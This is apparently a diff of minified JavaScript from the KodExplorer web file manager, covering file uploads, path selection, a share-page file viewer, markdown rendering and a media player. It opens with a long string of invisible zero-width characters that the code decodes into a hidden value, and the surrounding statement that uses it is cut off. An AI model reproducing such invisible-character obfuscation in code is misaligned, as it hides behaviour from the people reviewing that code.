‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:3,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("title");"explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).find("span.title").attr("title");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);return s=core.fileSize(s)+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='
        '+''+htmlEncode(core.pathThis(a))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
        ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),t.fullPath=i,t.upload_to=e.file.upload_to}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('
        ').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=36*$("#"+e.id).index(".item");$(".uploader-content").scrollTop(t),file_finished++;var i=e.serverData;if(i&&i.data){var a=LNG[i.data];i.code?($("#"+e.id).addClass("success"),$("#"+e.id).find(".state").text(a),$("#"+e.id).find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")):($("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").text(a).attr("title",a))}uploader.removeFile(e),$("#"+e.id).find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";e.serverData&&0==e.serverData.code&&(i=LNG[e.serverData.data],Tips.tips(LNG[e.serverData.data],!1)),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
        '+LNG.upload_drag_tips+"
        ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('
        ').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){i(t[e])}}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/share_common/topbar",[],function(){var e="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid,t="index.php?share/fileProxy&user="+G.user+"&sid="+G.sid,i=function(){"file"!=G.share_info.type&&G.path!==void 0?(t+="&path="+G.path,e+="&path="+G.path,$(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()):($(".btn.button_my_share").show(),$(".share_info_user .btn-group").hide()),"file"==G.share_info.type&&($(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()),"1"==G.share_info.not_download&&(e="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),$(".share_info_user").removeClass("hidden"),$(".btn_download").attr("href",e);var i=date("Y/m/d H:i:s",G.share_info.mtime);$(".topbar .time").html(i),"file"==G.share_info.type&&$(".topbar .size").html(G.share_info.size),$(".topbar .info").html(LNG.share_view_num+G.share_info.num_view+" "+LNG.share_download_num+G.share_info.num_download),$("#button_share").die("click").live("click",function(){share()})};return{init:i}}),define("app/src/share_index/fileShow",["../../common/myPlayer"],function(e){var t="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid,i="index.php?share/fileProxy&user="+G.user+"&sid="+G.sid,a=function(){if(G.share_info!==void 0){var e=core.pathExt(G.share_info.path);G.path=htmlDecode(G.path),G.share_info.path=htmlDecode(G.share_info.path),"file"!=G.share_info.type&&(i+="&path="+urlEncode(G.path),t+="&path="+urlEncode(G.path)),"1"==G.share_info.not_download&&(t="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),topbar.init(),c(e)}else $(".share_info").addClass("hidden")},n=function(){var e=core.pathExt(G.share_info.path),i=$(".bindary_box");i.removeClass("hidden"),i.find(".name").html(htmlEncode(G.share_info.name)),i.find(".ico").html(core.icon(e)),i.find(".btn_download").attr("href",t);var a=date("Y/m/d h:i",G.share_info.mtime);i.find(".share_time").html(a),i.find(".size span").html(G.share_info.size),$("body").addClass("can_select")},o=function(e){for(var t=[],i=0;e.length>i;i++)t[i]=e.charCodeAt(i).toString(16);return"&#"+String.fromCharCode(120)+t.join(";&#"+String.fromCharCode(120))+";"},s=function(){ace.require("ace/ext/language_tools");var e=ace.require("ace/ext/modelist");$.get(i,function(t){var i=e.getModeForPath(G.share_info.path).mode,a='
        '+o(t)+"
        ";$(".content_box").addClass("show_code").append(a);var n=ace.edit("ace_text_show");n.setTheme("ace/theme/tomorrow"),n.setReadOnly(!0),n.setShowPrintMargin(!1),n.getSession().setMode(i),n.getSession().setTabSize(4),n.getSession().setUseWrapMode(1),n.setFontSize(15)})},r=function(){e.async("lib/markdown/markdown-it.min",function(){var t=window.markdownit({html:!0,breaks:!0});$.get(i,function(i){var a=t.render(i),n=$(".content_box");n.addClass("markdown_preview can_select").append(a),n.find("a").attr("target","_blank");var o="

        [TOC]

        ";if(-1!=n.html().indexOf(o)){var s=function(e){var t="";return e.find("h1,h2,h3,h4,h5,h6").each(function(){var e="markdown-"+$(this).text().replace(/\s+/g,"-"),i="markdown_menu_"+$(this)[0].tagName.toLowerCase();$(this).attr("data-link","#"+e),t+='
      • '+$(this).text()+"
      • "}),t="
          "+t+"
        "},r=s(n),a=n.html();a=a.replace(o,r),a=a.replace(/ data-link="#(.*?)">/g,'>'),n.html(a)}e.async("lib/markdown/highlight.min",function(){$(".content_box").find("pre code").each(function(e,t){$(this).removeAttr("class"),hljs.highlightBlock(t)})}),e.async(["lib/markdown/katex/katex.min.js","lib/markdown/katex/katex.min.css","lib/markdown/katex/contrib/auto-render.min.js"],function(){renderMathInElement(n[0],[{left:"$$",right:"$$",display:!0}]),$(".katex-display").parent().addClass("markdown-latex"),n.find(".language-latex,.language-math,.language-katex").each(function(){try{var e=katex.renderToString($(this).text());if("string"!=typeof e)return;e='
        '+e+"
        ",$(e).insertBefore($(this).parent()),$(this).parent().remove()}catch(t){}}),"function"==typeof callback&&callback()})})})},l=function(){var t=G.app_host+i,a=e("../../common/myPlayer");a.play([t],core.pathExt(G.share_info.path))},c=function(e){if("md"==e)return r(),void 0;if("swf"==e){var t=core.createFlash(htmlEncode(i),"");return $(".content_box").addClass("show_swf").append(t),void 0}if(inArray(core.filetype.image,e)){var t='';return $(".content_box").addClass("show_image").append(t),void 0}if(inArray(core.filetype.movie,e)||inArray(core.filetype.music,e))return l(),void 0;if(inArray(core.filetype.doc,e)||"pdf"==e){var a=G.share_info.path;"file"!=G.share_info.type&&(a=G.path);var o=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+a,t='';return $(".frame-main").addClass("office_page").append(t),$(".content_box").addClass("hidden"),void 0}return inArray(core.filetype.text,e)?(s(),void 0):(n(),void 0)};return{init:a}}),define("app/common/myPlayer",[],function(e){var t="",i="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=t,l={width:"70%",height:"60%"};e==a&&(s=i,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var t=r(e);t.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var t="."+e+"_dialog",i=$(t);return 0==i.length?!1:i.find(".jPlayer-container")},l=function(e,t){t&&"music"!=t||(t=core.pathExt(e));var i={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},a=i[t],n={extType:a,title:core.pathThis(urlDecode(e)),url:e,solution:"flv"==t||"f4v"==t?"flash":"html,flash"};return n[a]=e,n},c=function(e,t){if(t){var i=e.parents(".jPlayer"),a={solution:t.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};i.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(i,a)),e.find("object").length>0?i.addClass("flashPlayer"):i.removeClass("flashPlayer"),e.jPlayer("setMedia",t),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(i),setTimeout(function(){var e=i.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(t.title)},100)}},d=function(e,t){var i=s(t),n=r(i),d=l(e[0],t);n||(n=o(i),i==a&&p.init()),i==a&&(d=p.insert(n,e,t)),c(n,d);try{$.dialog.list[i+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],t=0,i=null,a="circle",n=function(a,n){i=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r]){c=!0;break}if(c){if(r==n.length-1)return t!=d&&o(d),!1}else{var p=core.pathExt(n[r]);inArray(core.filetype.music,p)&&e.push(l(n[r],p))}}return e.length==s?!1:(t=e.length-1,u(!0),e[t])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,t=a;var n=e[a];c(i,n),u(!1)},s=function(i){switch(a){case"circle":"next"==i?e.length-1>t?o(t+1):o(0):0>t-1?o(e.length-1):o(t-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(t);break;default:}},r=function(t){e.remove(t),o(t),u(!0)},d=function(t){var i=e[t],a=i.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){t=0,e=[],a="circle";var i=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];i.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var t=n[e];$(this).attr("data-loop",e).find("i").attr("class",t.icon),a=t.loop}),i.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),i.find(".play-forward").unbind("click").bind("click",function(){s("next")}),i.find(".show-list").unbind("click").bind("click",function(e){i.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),i.find(".play-list .item").die("click").live("click",function(e){var t=$(this).index();o(t),stopPP(e)}),i.find(".play-list .remove").die("click").live("click",function(e){var t=$(this).parents(".item"),i=t.index();return t.remove(),r(i),stopPP(e),!1}),i.find(".play-list .download").die("click").live("click",function(e){var t=$(this).parents(".item").index();return d(t),stopPP(e),!1})},u=function(a){var n=$(i).parents(".jPlayer");if(a){var o="";$.each(e,function(e,t){o+='
      • '+t.title+'
      • '}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[t]?(n.find(".item-title").html(e[t].title),n.find(".item").removeClass("this"),n.find(".item:eq("+t+")").addClass("this"),f(n.find(".player-bg")),void 0):(t=0,n.find(".item-title").html("  "),i.jPlayer("destroy"),i.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var t=h(),i=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+t+", "+i+"); background-image: -moz-linear-gradient("+a+", "+t+", "+i+"); background-image: -o-linear-gradient("+a+", "+t+", "+i+"); background-image: -ms-linear-gradient("+a+", "+t+", "+i+"); background-image: linear-gradient("+a+", "+t+", "+i+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),u=function(a,o){var r=s(o);r==n?e.async(["lib/jPlayer/kod.flat/movie.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){t=e,d(a,o)}):e.async(["lib/jPlayer/kod.flat/music.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){i=e,d(a,o)})},f=function(t,i){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html,flash",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:t},ready:function(){i.jPlayer("setMedia",e.media).jPlayer("play")}};i.jPlayer("destroy").children().remove(),i.jPlayer(e)})};return{play:u,playSound:f}}); \ No newline at end of file +/*! power by kodexplorer ver3.36(2016-12-30) [build 1483112392840] */ +define("app/src/share_index/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","../../common/core","../../share_common/topbar","./fileShow","../../common/myPlayer"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),topbar=e("../../share_common/topbar"),fileShow=e("./fileShow"),window.require=e,$(document).ready(function(){if(core.init(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),"undefined"!=typeof G){fileShow.init();var e=function(){var e=window.location.href+"&password="+$(".form-control").val();$.get(e,function(e){1==e.code?window.location.reload():Tips.tips(e)})};$(".share_login").click(e),$(".form-control").keyEnter(e)}})}),define("app/common/core",[],function(require,exports){search_box_tpl=require("./tpl/search.html"),search_list_tpl=require("./tpl/search_list.html"),upload_tpl=require("./tpl/upload.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1)),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=700;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"
        ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var 